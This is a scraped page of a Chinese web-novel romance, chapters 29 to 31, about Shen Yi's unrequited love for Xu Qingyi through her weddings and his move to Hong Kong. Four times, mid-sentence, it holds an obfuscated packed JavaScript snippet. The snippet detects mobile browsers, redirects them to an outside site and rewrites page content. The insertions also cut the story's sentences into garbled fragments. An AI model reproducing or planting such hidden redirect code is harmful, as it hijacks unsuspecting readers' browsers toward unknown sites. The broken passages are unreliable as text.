“她最后竟然嫁了个外国人,这些邻居们都把她说成什么样子了?她也是我看着长大的,听见那些人议论她,我生气啊!” “那个人,对她很好。” 沈翌起身蹲在沈爷爷的面前,握住他的手,“清旖自己一定也知道别人会在背后议论她,但她既然选择了,就证明李安对她很好。” “爷爷,她会幸福的。” “那你呢?” 沈爷爷眼里闪着泪光,他苍老的手轻轻抚上沈翌的脸,他问:“那我的小翌呢?” 这些年他和爷爷相依为命,如今他背井离乡,只留下一个年迈的老人独自在此。 沈翌常常在国外想起来,觉得自己实在对不起他。 “明年我就可以回国,到时候你和我一起住好不好。”沈翌问他。 “我一个人住习惯了,去那边儿没人陪我打牌下棋,你天天上班,那我多无聊啊?” 爷爷摸摸他的头,小时候他的头顶上有两个旋,有人说这孩子以后肯定是个死脑筋,说不定还会闯祸。 但他们才不知道,实际上小翌从小乖得要命。 沈翌不说话,现在说什么都太空,等到明年回到中国,一定会有最好的办法的。 徐清旖的婚礼规模不是很大,冬天他们还要去英国补办一场。 沈翌在这里还遇见了故人。 许安怡原来也是南城本地人,她的母亲和徐老师是旧识。 其实她也是一中毕业的,不过他们不是同一届,所以沈翌不记得她。 婚礼的仪式很简单,新娘入场、新娘父亲将她的手托付给新郎,证婚人问了两个问题,然后交换戒指、互相亲吻。 沈翌坐在最靠窗的位置,等到仪式快结束,他一个人跑到门口拆了盒烟。 烟是他来的时候在门口随便买的,这里没有他习惯的万宝路,他抽了一口觉得这个味道又苦又涩。 于是夹在手指间,等它自己慢慢燃尽。 白色的烟一缕往上飘,沈翌的思绪也跟着飘了很远。 许安怡来同他打招呼,问他怎么在这里。 沈翌穿着短袖和长裤,夹着烟的手指了指新郎和新娘的方向,“新娘的朋友。” 许安怡捂着嘴笑,她说来的当然是新娘的朋友,否则谁会认识洋人。 天气热得出奇,太阳照得沈翌有些睁不开眼,他眯了眯眼睛,顺着许安怡的话问她怎么在这里。 她说了什么他没怎么认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389903|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真听,只从中捕捉了几个关键词,因为他听见饭店里有人正在祝徐清旖和李安白头偕老。 白头偕老。 一个很宽泛的词语。 究竟怎样才能算白头?白发要多少根呢?一百根?还是一千根? “学长?”许安怡叫了他一声。 沈翌回过神,又被手中的烟烫了一下,手指一松,烟蒂落在地上。 “你不用叫我学长,我已经27岁了。” 许安怡笑了笑,没接他的话,“你还出国吗?” “嗯,明天走。” 沈翌点点头,听见她问:“你当年所说的那个喜欢的人,是徐清旖吗?” 他忽然看向她,想起来那年在车站,许安怡向他告白,那是他第一次承认喜欢徐清旖。 沈翌没回答,“你怎么知道?” “挺明显的。” 他苦笑着点点头,伸手又从口袋里摸烟。 “你别多想,我现在已经谈恋爱了,只是看见你就想来聊聊。” 许安怡说:“无论怎么样,还是祝你幸福。” 沈翌拢着手点燃一根烟,偏过头吸了一口后被涩出眼泪,夹着烟的那只手放在身后,然后才对她说:“你也是。” 许安怡愣着神往回走,快到门口时又回头看了他一眼,那人正懒洋洋地靠在墙边,右手垂在身侧,脚边扔着几根烟蒂。 她发现他已经不是自己印象中的那个人了。 她第一次见到沈翌是在图书馆,他趴在桌子上睡觉。 许安怡路过正巧看见他手边的草稿纸上画着一只兔子,那时候她猜测对方是美术专业的。 等到她借完书回到自己的座位上时,刚好听见旁边有两个女孩子在议论他,许安怡不爱打听这些事,只当作没听见。 第二次见面是在一次考试,那个“美术专业”的同学给他们监考,这时候听见同学的科普,她才知道原来这个人就是他们专业有名的沈翌。 许安怡考到一半,忽然感觉到自己大概率是到了生理期,于是加快速度写完试题提前交了卷。 交卷时她看见沈翌特意瞟了一眼某道题,那是一道错误的题。 穆老师故意设错了题目,她发现对方看见自己的答案笑了笑,第一反应就是她一定做对了。 一次最简单的随堂测试,许安怡却无比开心。 后来她帮穆老师统计成绩时偷偷打听沈翌。 穆老师形容他是天才,他说:“我从没见过这么有灵气的学生。” 直到自己大四那一年,她才真正和他说上一句话。 那时候的他是生动的,和现在很不一样,谈起数学时神采奕奕,眉眼都闪着光。 而眼前这个人,虽然依旧英俊,却变得颓唐,吸着烟的样子像是一个郁郁不得志的中年人。 在一中时,有一次她在科技楼的后面遇见过沈翌。 那时他一条腿迈在台阶上,身体向前倾,将手中的面包撕成许多小块,慢慢地喂给学校里那只流浪猫。 一边喂,一边还在嘴里自言自语,许安怡经过他身边听见他说的是:“慢点吃,别着急。” 母亲找到她,问她去了哪里找不着人。 许安怡回过神,“出去透了口气。” 母亲拉着她回去敬酒,许安怡又看了一眼沈翌,他正半蹲着用纸巾一根一根捡烟蒂。 那样的人怎么会变成现在这样。 她有些想不明白。 29. 都无解 沈翌在婚礼的第二天告别徐老师和师母,他将从英国买回来的东西一起放在了客厅,甚至没有坐下,就说要离开。 徐清旖和李安出去买东西了,师母留他多待一会儿等他们回来。 沈翌摇摇头拒绝,“不用了。” 徐老师一直没说话,又或许是不知道应该讲什么。 师母握着沈翌的手欲言又止,沈翌笑着说:“你们别担心我,我会照顾好自己。” 他没有说自己即将回国,也没有说那些被过去深埋的情和爱。 他头也不回地离开,连一句“再见”也没有对徐清旖说。 她太忙了,新婚燕尔,根本来不及与他这位老朋友叙旧。 - 在万师傅家歇过一夜之后,第二天沈翌就被他推着去谈一个合作。 为了让他答应,万师傅甚至搬出了这些年的师生情谊。 “这个客户很重要,对方不满意的话,你就当没我这个师父。” 于是沈翌西装革履,戴一块机械腕表,出门的时候又从行李箱里拿出工作时的眼镜,怎么看都是一位商业精英。 等他到了约好的地点,看见早早就等在那里的年轻女人,才忽然反应过来万师傅打的算盘。 沈翌哭笑不得,松了松领带坐在对面,叫她的名字,“语潇。” 刘语潇从旧金山回国以后,在黎江市的一所小学里做一名音乐老师。 她性格讨喜,工作又认真,很受学生和家长的喜欢,但她即将25岁,却始终没有谈恋爱。 刘局长和夫人知道她的意思,便也不催着,只等她自己想明白。 听万师傅想给她介绍对象时,刘局长最开始是拒绝的,毕竟自己只有这么一个女儿,还是希望她能和自己喜欢的人在一起。 但是万师傅和他再三保证,只是见一面,他还说语潇一定会喜欢。 刘局长这才转告了女儿,让她自己拿主意。 万师傅是沈翌的老师,刘语潇自然不会拒绝,反正只是见面,对于她来说也没什么损失。 但她没想到对方会是沈翌。 沈翌点了一杯果汁,将鼻尖的眼镜取了下来放在一边。 “这几年过得怎么样?”沈翌问。 “当了一名老师,有自己的学生,还挺有意思的。” 刘语潇穿得很随意,看起来完全不像是来相亲的人,她沉默了一瞬间,然后问他:“怎么回来了?” “参加一个婚礼。” 沈翌闭口不提其他,说明来意:“万师傅让我来谈合作,我没想到是你。” 刘语潇喝了一口咖啡,她的耳尖微红,“你呢?这些年过得怎么样?” “我调去了伦敦。” “伦敦啊,我知道,太远了。” 刘语潇笑了笑,“那里漂亮吗?” 沈翌沉默了一瞬,实际他很喜欢伦敦的景色,“雨夜和雪天很漂亮。” “是吗?” 刘语潇反问一句,又感慨道:“可是后来我去了很多地方,最喜欢的还是旧金山的黄昏。” “毕竟你在那里生活了很久。” “可能是吧。” 沈翌见她兴致不高,“刘局他们身体怎么样?” “妈妈和她的朋友们去了欧洲旅行,我爸在上班,挺好的。” 说完她又重复了一句,“都挺好的。” “你呢?和她在一起了吗?”刘语潇问。 沈翌下意识地摇头,然后才反应过来问她:“你说谁?” “你不是有一个很喜欢的人吗?在你的家乡。” 沈翌苦笑着说:“怎么你们都那样认为。” 刘语潇皱了皱眉,“不是吗?是你那位朋友告诉我的。” “不是。” “那你当年和我说……” “没有人在南城,我喜欢的一直都是她。” 沈翌往后靠了靠,眉眼间的疲惫难掩,他说:“一直都是她。” 沈翌的航班在第二天,前一天夜里和李其深简单叙旧以后,第二天下午他去了黎江市这两年新开发的三角洲地区逛了逛。 当年去美国之前,他曾陪着刘局长来过这里。 现在博物馆里还有一些他拍的照片,下面还署着他的名字。 “这么巧,我们可真有缘分。” 刘语潇忽然出现在他身后,脸上画着精致的妆,穿一条牛仔短裙,上身是白T,长发在脑后被扎成一个漂亮的丸子。 她看了看沈翌,然后古灵精怪地眨眼,“如果我没记错的话,你穿的是当年送我从旧金山离开的那件衣服吧?” 沈翌顺着她的目光看向自己身上的黑色短袖。 他其实已经记不清究竟是不是这件,就听见刘语潇说:“别看了,一定是这件。当时我趴在你怀里哭,这个标志磨到了我的眼睛,我可是记忆犹新。” 沈翌闻言笑了笑,然后问她:“你怎么在这里?” “出来走走,挺巧的哈。” 她转过头去看沈翌面前的展板,以前她很多次来过这里看着这个名字难过,那时她不会想到未来有一天竟然能和他一起站在这里。 这个博物馆建得很大,墙面展板上的内容几乎囊括了黎江市从一个小渔村逐步发展成为如今的国际港口的全过程。 刘语潇站的时间太久,她很早就开始穿高跟鞋,去美国的那两年,为了搭配长裙,穿的几乎都是平底或是坡跟。 现在她的鞋跟差不多有六七厘米高,走了很久,脚踝开始隐隐作痛。 沈翌发现了她的不自在,领着她在角落找了一个凳子坐下。 问了她的鞋码之后,又出去找了一家商场买了双白色的运动鞋让她换上。 沈翌垂着眼,看着刘语潇给自己换鞋。 “如果很喜欢的话,可以选择一个不会很累的高度,你的鞋跟太高,对身体会有影响。” “你们公司会有这样的要求吗?必须要穿高跟鞋。” 她把换下来的高跟鞋放进鞋盒里,听见他说:“有,但我告诉她们带一双运动鞋,下班时可以在卫生间换了再离开。” “你们公司的人一定很喜欢你。” 刘语潇笑了笑,然后站起来走了两步,“谢谢你,鞋子很漂亮。” 其实带两双鞋子的办法是徐清旖想出来的,她曾经就总这样做。 “吃饭吗?我请你吃顿饭?”刘语潇问。 沈翌点点头,答应她,“我是晚上九点的飞机,就近吧。” 这边新开了一家餐厅,做的都是江浙菜。沈翌不能吃辣,刘语潇还说他简直不像是南城人。 “那你从小都吃什么啊?不是说南城人都是泡在辣椒里长大的吗?”她问。 “没有,我和爷爷都不吃辣。” 等到一顿饭快吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389904|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完,刘语潇回忆起过去。 “我记得我十八岁的时候,有一次和你,还有我爸我妈,我们也一起吃过饭。” “是,那时候还要谢谢你们。” “如果不是因为你,我也不会还去留学,应该是我谢谢你才对。” 刘语潇说:“是你让我看到更大的世界。” 最后这顿饭是沈翌给的钱,“当年在纽约,酒店的钱是你给的。” 刘语潇张了张嘴,最后才泄气一般地说:“沈翌,你真的要分的这么清楚吗?” 沈翌没说话,又听见她说:“我可以去送你吗?” “我就在万师傅家楼下等你,不会打扰到你。等你收拾好东西,我陪你去机场。” 她的眼睛很亮,沈翌还来不及拒绝,她继续道:“我就送送你,这样也不行吗?” 沈翌拒绝不了,便想着反正只有最后几小时,于是同意了她的提议。 万师傅一开始是想送他的,等到发现刘语潇也在,连忙捂着肚子说:“小翌啊,师父肚子不太舒服,你自己先走吧,注意安全啊。” 说完就迅速离开了现场。 沈翌看着他的身影失笑,刘语潇抱歉地说:“我是不是又坏事了?” “没有。”沈翌推着箱子,“走吧。” 机场的人很多,沈翌办好托运时距离飞机起飞只剩下最后两个小时。 “坐会儿吧。”沈翌说。 两人沉默了会儿,刘语潇忽然问:“诺米和孟晨呢?” “诺米在西雅图,孟晨也在伦敦,他快要结婚了。” “还是蒲因姐吗?” “是她。” “我都不知道,那你到时候让他给我送张请柬。” “好。” “沈翌,我想问你一个问题。” 刘语潇很紧张,沈翌抿了抿唇,其实大概也能猜测出来她想说的是什么。 果然,她问:“你还是放不下吗?” “万师傅说她已经结婚了,我就想,或许你也应该开始一段新生活。” 刘语潇一边说,一边频繁地睁大眼睛,以阻止其中的眼泪不要掉下来。 “只是不愿意,没有放不下。” “有什么区别吗?” 沈翌没说话,刘语潇侧了侧身子正对他。 “其实我觉得我们就挺合适的啊,我爸爸以前还去见过你爷爷,也算见过家长了吧。而且我们认识这么多年了,反正你总要找个人在一起,不是吗?” “语潇,这不公平。” 刘语潇没有理会他,依旧在自顾自地说话。 “如果可以的话,我也想做那个从小就出现在你身边的人,我很讨长辈喜欢的,你爷爷一定也会喜欢我……” “沈翌,只要你说可以,我现在就可以买机票跟你走。” 她又哭了,眼泪一大颗一大颗地砸下来。 “明明她不过是比我早遇见你一点,你就当我是迟到了一些,好不好?” 沈翌看着刘语潇,第一次觉得自己太残忍,可是他没有办法,只能摇着头说:“对不起”。 如果有再来一次的机会的话,他还会来黎江市吗? 这个问题太幼稚了,他学的是科学,所以比谁都知道过去的事情都是必然。 时间是往前的,不会把谁抛下。 只是有人会不愿意,可最终还是被推着走。 30. 贺新婚 词牌名 沈翌调回国内的申请已经递出去,孟晨选填的是上海,他提交的是香港。 “婚礼明年再办了,你嫂子一个人懒得做那一套,说等我明年回去办。” “也是惯着你。” “我和她,确实是我亏欠更多。”孟晨坐在他房间的椅子上,目光扫过整间屋子,落在墙上那几张照片上,“倒是全换成你自己了。” 沈翌顺着他的视线看过去,笑了笑,“不是你让我摘下来的吗?” 孟晨叹口气,“是,是都摘下来了,那要不我们来看看剩下这些都是什么照片?” 孟晨说的确实没错,这些照片看似只有沈翌一个人,但仔细看来有念青山、青龙寺、黎江、伯明翰、伦敦…… 沈翌正在整理行李,徐清旖即将来伦敦举行婚礼,他准备趁着圣诞的假期逃开一阵子。 “她对你可真狠心,两次婚礼,每一次都要邀请你。” 孟晨根本喜欢不起来徐清旖,提起她的时候,还是会很生气。 沈翌正在折衣服的手顿了顿。 “她不知道这些,你别怪她。到时候你别说漏嘴了,就说我回美国了,知道吗?” “好好好,我知道了,总部紧急会议通知负责人参加,我不想去,所以你就去了,对不对啊。” 孟晨一边说一边“啧”了一声,“你这人吧,说就说,还暗踩我一脚是什么意思?” 沈翌笑了笑,孟晨继续说:“这两年我帮你开的会可不少啊,你小子。” “谢了孟哥,你对我的恩情,没齿难忘。” “你可别说这些,好好去玩吧,大情种。” 孟晨把他折好的衣服拆散架,“注意安全,如果旅途中遇见感兴趣的人就试试,听见没?不要死脑筋。” “知道了。”沈翌伸手把衣服的折叠权拿回来。 “准备去哪里?想好没?” “北边。” “伦敦还不够北?” 孟晨像是忽然想起来什么,急忙问:“你是不是又想去格拉斯哥?去干什么?回忆那些年?” “不至于。” 沈翌将行李箱的拉链拉好靠在一旁,然后走到那面挂照片的墙边。 说的都是他的单人照,但老实讲几乎都是出自一个人之手。 可其实他的本意不是这样的。 准备与过去告别的时候,他想的是这些照片记录着他的成长。 结果经孟晨一提醒,才发现原来这些岁月中都能找到徐清旖的身影。 他们也是同样的,相互陪伴着,一步步走到今天。 也许是转移话题,也许是真的想起来什么,沈翌说:“如果申请下来的话,明年记得邀请我去你的婚礼。” “那必须啊,我还等着你来给我做伴郎呢!” “我可没干过那个,搞砸了你别怪我。” “我才是主角,再怎么砸不到你。”孟晨说:“什么时候回来?” “过几天,跨年之前就能回来。” - 伦敦的节日氛围很浓,各种圣诞集市开在城市的大街小巷。 沈翌将行李安置在订好的酒店里,找了一家租车行,说要租一辆悍马。 那一年出车祸后的手续还记录在册,老板核对他的信息,时不时抬头看他一眼,和他确认,“是要这款吗?” “就要这款。” 越野的车型,刷着黑漆看起来炫酷得要命。 等待办手续的间隙,他在店门口拉了张凳子过来坐,有年轻的店员给他端来一杯咖啡,他点点头朝对方说谢谢。 “新年旅行吗?” 另一位看车的女人也搭了张凳子坐过来,眨着眼睛和他搭话。 “嗯。” 沈翌看见她的指甲上也染着新年的红。 “去哪里呢?一个人?” “伦敦。” “伦敦?我没听错吧?” 女人的英文念得有些滑稽,沈翌点了点头,煞有其事地说:“对,我要去伦敦。” “疯了吗?”她的语气迟疑。 真的是疯了。沈翌想。 - 车子最后在海德公园门口降了速,他找了许久才终于找到一个停车位。 坐在车里抽了几根烟,又等了一会儿,他才从副驾驶拿过围巾围在脖颈处,走出停车场。 海德公园非常热闹,有金色头发的人在卖水晶灯,也有白发老人牵着手遛狗。 有一名穿着圣诞老人衣服的人过来和他打招呼,滑稽的说着“MerryChristmas!”,沈翌笑着从旁边买来一只气球送给他。 打着金色灯光的小屋里正在举行室内啤酒节,旁边是一个小型的游乐场,有许多年轻的情侣,或是年幼的小孩在这里玩游戏。 他们坐旋转木马、摩天轮,热闹的氛围紧紧笼罩着沈翌。 有个小孩走过来送给他一只花灯笼,用英语奶声奶气地说:“爷爷让我送给你,灯笼会让你想起自己的家乡,这样就不会感到孤独。” 沈翌抬起头朝她指的方向看,那位圣诞老人在朝他招手。 后来他提着灯笼往庄园里面走,走到威灵顿拱门前的时候,他将那只灯笼放在旁边,捻了捻手指,猜测自己应该是烟瘾犯了。 宏伟的拱门闪着黄色光,这是由德斯姆斯·布尔顿设计,为了纪念乔治四世在拿破仑战争中获胜而建的。 他忽然想起来旧金山的夜晚,那里的星星很亮。 后来几年里,沈翌再没见过那样多、那样美的繁星。 ——“沈翌?你不是去美国了吗?” 竟然会在这里遇见,怎么会这么巧。 他在心里苦笑一声,回过头故作惊讶,“清旖?” 然后又面不改色地撒谎:“明天走。” 徐清旖是一个人过来的,李安家就在海德公园附近。 他们的婚礼定在后天一早,圣诞过后的第一天。 但此时他的丈夫正和继母在家里吵得不可开交。 “这么重要的会议吗?” “嗯。”沈翌说:“怎么一个人?” “过来转转。这是你买的灯笼吗?好漂亮。” 她看向那只花灯笼。 沈翌蹲下去捡起来,递给她:“一个小孩送给我的,转送给你,别不高兴。” 徐清旖笑着接过来。 “你还是这么讨人喜欢。明天几点的飞机,我去送你吧?” “不麻烦了,不合适。” 她沉默一会儿,想起来他们上一次见面已经是半年前。 “你走的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389905|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,也没有告诉我。” “那天赶时间,就没告诉你。” “是那个女生吗?你喜欢的人。” 她转了个身,依稀看见天边几颗零落的星星。 没有云,看来明天是个好天气。 “我看见你们,婚礼那天,你们在门口说话。” 他猜测她说的是许安怡,抿了抿嘴唇,没说话。 “她挺漂亮的,我记得她,那年你去黎江,她来火车站送过你,后来我妈妈才说认识她。” 徐清旖顿了顿,“那天我也帮你问过了,她说那个女孩子没有男朋友,或许你可以……” “清旖。”沈翌打断了她的话。 “你不要不想听我说话。” 徐清旖没理他,她的声音有一些哽咽,“我真的很希望你能够和她在一起,我很希望你能够幸福。” “徐清旖。” 沈翌偏过头,没有再看她。 “你幸福就好了。”他眨了眨眼,“我们两个人中,只要有一个能幸福就好了。” - 海德公园旁边有一家西餐厅,沈翌推开门让她先进。 坐在落地窗前,徐清旖还是忍不住问他:“你什么时候开始抽烟了?” 沈翌翻菜单的手顿了顿,头也不抬。 “有段时间了,这两年压力很大。” “我记得以前你说这不健康。”徐清旖说:“不过确实也已经过了很久了。” 在沉默又尴尬的氛围中点好餐,沈翌故作轻松地问她:“新婚纱选好了吗?” “选好了。” 徐清旖将耳侧的碎发别到后边,他看见她的无名指上戴着一只小巧的戒指,“可惜你不能来。” 沈翌没说话,笑了笑,端着玻璃杯喝了一口水。 他很少抱怨命运的不公平,在他看来顶多是每个人的命数不同,而他可能只是有时候运气差了一点。 一遍已经够痛苦了,要让他再亲眼见证一次徐清旖走向别人,就太残忍了。 - 1997年12月26日,沈翌在伦敦某个酒店房间的阳台坐了整整一天,脚边散落着无数的烟蒂。 阳台所对的教堂里,他最心爱的女孩正穿着洁白的婚纱慢慢走向另一个男人。 他送出去的鲜花也许被摆在他们的新房,也许被摆在礼堂,但总归算是替他送她出嫁了。 这几乎是沈翌27年来的第一次不知礼数,那位花店的老板以为他是要在新岁送玫瑰给自己的爱人。 听见他说:“祝你们幸福。” 沈翌没有纠正,自顾自替徐清旖应下了这句祝福。 而她永远也不会知道,他又怎么会舍得离开,但同样也不愿意看见她带着自己最熟悉的笑走向别人。 就像上一次见面的时候,她打趣说他竟然在伦敦买了新车,问他是不是准备在这里安家。 她或许根本没想起来那辆悍马,和当初他们自驾去伯明翰的那一辆几乎一模一样。 沈翌偏了偏头,他的右手抵在栏杆边,稍微用力往外伸。 才堪堪将那束明媚的阳光抓在手里。 25岁那年第一次来伦敦,现在他即将满28岁。 近三年的光阴岁月,沈翌第一次觉得伦敦的阳光竟然这样刺眼。 31. 华尔兹 李安和徐清旖婚后定居在了黎江市,他的父亲不愿意干涉他,似乎也未想过让他继承财产的事。 当年他兴致勃勃打造的香水品牌“FLAW”,实际上内里早就亏空,只剩下一层摇摇欲坠的壳。 1998年5月,徐清旖接到母亲打来的电话,她说沈翌非辞职的申请得到了总公司的同意,他即将启程回到祖国。 就在香港,距离黎江市几小时车程的地方。 “小沈告诉你了吗?”母亲问她。 徐清旖想起来上一次她和沈翌通电话似乎已经是很久很久之前的事情了,“没有,我们很久没联系了。” “好吧。”母亲说:“既然离得这么近,等他回来了香港,有什么事你们还能帮衬着点,他又是一个人。” “会的。” 挂掉电话之后,徐清旖忍不住开始回忆上一次和沈翌通话的时间,但只模模糊糊记得一个大概,估计当时两人都没怎么认真说话。 婚后她的生活开始变得极其繁忙,家庭与工作的关系需要她不断做出牺牲去进行平衡。 李安的亲生母亲将延续后代的事情看得很重,她的性格温和,但很多次拐着弯地提醒怀孕的事情。 最后徐清旖不堪重负,在十一月的时候从公司请辞,回家专心备孕。 肖珩收到她的辞职信的时候十分不理解,最开始他并没有同意,反而是回家告诉了林知一,想让她帮忙劝一劝。 林知一也希望她不要辞职,她觉得生活中一定要有自己的事业。 徐清旖苦笑着摇摇头,只要一想到家中的李安和一地的啤酒瓶,还有他母亲从爱尔兰打来的无数通电话,她就觉得力不从心。 只有她请辞,李安才会出去工作,他们的生活才会好过一些。 - 沈翌在十二月底参加了孟晨的婚礼,他最终还是没能调回上海,但也是在一个沿海城市。 嫂子为了他调去这里,两个人才终于团聚。 婚礼当晚,他的喜悦溢于言表,喝得实在有些多。 沈翌扶着他回新房,路过门口时愣了一瞬。 这一瞬间的失神被孟晨敏锐察觉到,即使是醉了酒,也扒着他的胳膊要往后退。 “看什么呢?” 孟晨大着舌头问完,顺着沈翌的眼神也往上看,那是一幅雕刻的木质画作。 “你喜欢?”孟晨拍拍胸脯,“哥送你了!” 沈翌笑了笑。 孟晨的家境不错,婚礼就是在他们家的老房子里举行的。 一个古色古香的四合院,年纪比父辈们还要大一圈。 “知道这是什么吗?” 孟晨还有点残存的意识,但脑子跟不上嘴,他还没想明白这是什么,屋内的新娘已经推门走出来。 “嫂子。”沈翌喊她。 “我来吧。” 蒲因和他一人一边将孟晨扶了进去,送沈翌离开时,忍不住说了今晚的第三次感谢。 前两次都是在酒桌上。 “太客气了。”沈翌道。 “你们刚刚在聊什么?” “那个。” 沈翌看见蒲因很淡地笑了笑,“徽雕。” “怪不得。”沈翌说:“读书的时候有了解,第一次看到实物,很好看。” “孟晨他爷爷那一辈,是从徽州迁过来的。” 蒲因望着门上那一幅精美的雕画,“他本来学建筑,但是后来有一天他忽然告诉我说,想去做相机。” 沈翌没说话,插着兜,沉默着等待她继续讲。 “其实我最开始也不理解他,但后来还是认为他应该去做自己喜欢的事情,他很厉害的。” 蒲因笑得很幸福,像是忽然想到什么,又对沈翌说:“这些年的电话里,他很多次和我提及你,说你们是很好的朋友。” 沈翌点点头,“我们都是独自在外面。” “你是在?” “在香港。” “回来了就好。” 蒲因看了一眼身后房间里的孟晨,“既然他已经把你当做家人了,那我也就勉强算是你的姐姐吧?” “好。” “其实这些年完全看不到尽头的等待真的挺辛苦的,但我没有和他说过,怕他有压力和负担。” 蒲因说:“香港还是太远了,你记得多回家看看你的亲人和朋友。” “总会想家的吧?” 蒲因指了指那幅画,“当年他爷爷就是因为想家才做了这个。” 回到香港一个多月以后,沈翌收到了孟晨送来的一个小礼物。 是一块雕着图案的不算大,但也并不小的木板。 “这是什么?”沈翌在电话里问孟晨。 “哥不是说了送你?” “我明明要的是你家门上那块古董。”沈翌和他玩笑道:“就是那个据说是我爷爷辈的古董。” “来来,你再来我家一趟,我待会儿就去把门板卸了给您送去。” 沈翌失笑,懒得和他多贫嘴。 眼神盯了会儿小木板,问他:“这是我爷爷?” “是啊,不过我就瞎想的。” 孟晨靠在椅子上伸懒腰,他刚做完一个提案,助理敲门送进来一杯牛奶,他点点头小声说谢谢。 “之前在伦敦你不是总讲你爷爷爱给院子里的孩子讲故事吗?可惜我没见过你爷爷,也就猜了猜。” 木板看着画面简单,但实际上人物不少,雕刻起来难度也不会小。 一眼看上去看到的是一个坐在藤椅上的老年男人,周围围着几个小孩子。 老人弯着眼,笑开了嘴巴,身体微微后仰,周围的小孩有的向前伸长了脖子张着嘴应该是在询问。 因为其中有个孩子脑袋旁边还被调皮地雕了一个问号。 其他有的两个人凑在一起说悄悄话,有的盯着眼前的土地发呆。 “猜猜哪个是你?” 孟晨捏着手里的画纸,那是他和蒲因一起画的初稿。 沈翌抿着嘴又细看了一遍,眼神停留在一个很小很小的身影上。 “最后面那个?” “还真被你猜到了。” “这哪能看不出来啊?这么小,五官还雕这么精细。” 沈翌用手指摸了摸那个小孩的脸,像是真的看到了很多年前的自己,很久才说出一句:“谢了孟哥。” 其实孟晨最开始是想把沈翌放在最前面的,后来蒲因问他:“他当时是怎么和你讲的?” 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389906|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨想起来当初沈翌说的话,说他其实很希望爷爷能只陪着自己,但又怕给爷爷造成困扰,所以总是躲在远处一个人待着。 想起来这件事,孟晨拧着眉,什么也没和蒲因说,自己决定下来。 “画远一点吧,到时候我雕仔细点。” 等到把整个大的画面和人物形状画出来,孟晨拿着稿纸又总觉得有点儿不舒服。 “要不还是画前面来吧?”蒲因问。 过了一会儿,孟晨摇摇头说:“就这样,在这里。” 他指了指小沈翌的右脚边,“我在这里再雕一只小猫。” - 又过了一个新年,二十世纪的最后一个年份。 沈翌的办公室在很高的楼层,香港特别行政区最繁华的区域之一,一回头就可以看见灯火通明的维多利亚港。 有一天夜里他刚加完班,正取下眼镜揉着眉心,移动电话却忽然响了起来。 “你好。” 他一边讲着官方的话术,一边拿着杯子去倒水。 滚烫的热水将茶叶冲起来,瞬间又落了下去。 “沈翌。” 是刘语潇,他们这两年在万师傅店里见过几次面。 “语潇,有什么事吗?”他问。 “听说你回香港了。” “有一段时间了。” 他将那杯红茶放回办公桌,然后走到窗边,看向远处正在停靠的轮渡。 “我怎么什么都不知道……” 她的语气低落,沈翌也觉察到一些不对劲,迟疑道:“你喝酒了?” “你是在关心我吗?” “语潇。”沈翌打断她,捏了捏眉心,“你现在在哪里?我给刘局打电话。” 电话那头沉默了一会儿,然后传出一声带着电流声的轻笑,“为什么呢沈翌,为什么总是这样,不喜欢的话就不要理我,听见我的声音应该直接挂掉电话才对。” 沈翌不说话,她继续说:“看见我也要回头就走,不要关心我哭没哭,也不要在意我喝没喝酒,应该直接指着我的鼻子问我……问我有什么值得你喜欢的……” “你喝醉了,你现在在哪?我让你父亲去接你。” “我在家里。”刘语潇重复道:“我在家里。” “这些天他们一直在催婚,我就想到了你。”她吸了吸鼻子,“还是不行吗?” 还没等到回应,刘语潇接着说:“不对,不是问你,是我不想等你了。” “我不想等你了,沈翌。” 她的声音从听筒里传出来,闷闷的,倔强地说:“我不爱你了。” 很多年前刘语潇向沈翌要过一封手写信,他直到现在也没有真正提笔写下过什么。 手写信这种东西太暧昧了,在电话时代,手写信显得太过郑重、严肃,真正要让他向刘语潇表达什么情感,他又不知道该说些什么。 如果问沈翌他对刘语潇做过最越界的事情是什么,一定是那年他们一起跳了一支华尔兹,那被称为是世界上最优雅的舞蹈。 最暧昧,最疏离。 你进我退,我进你退。 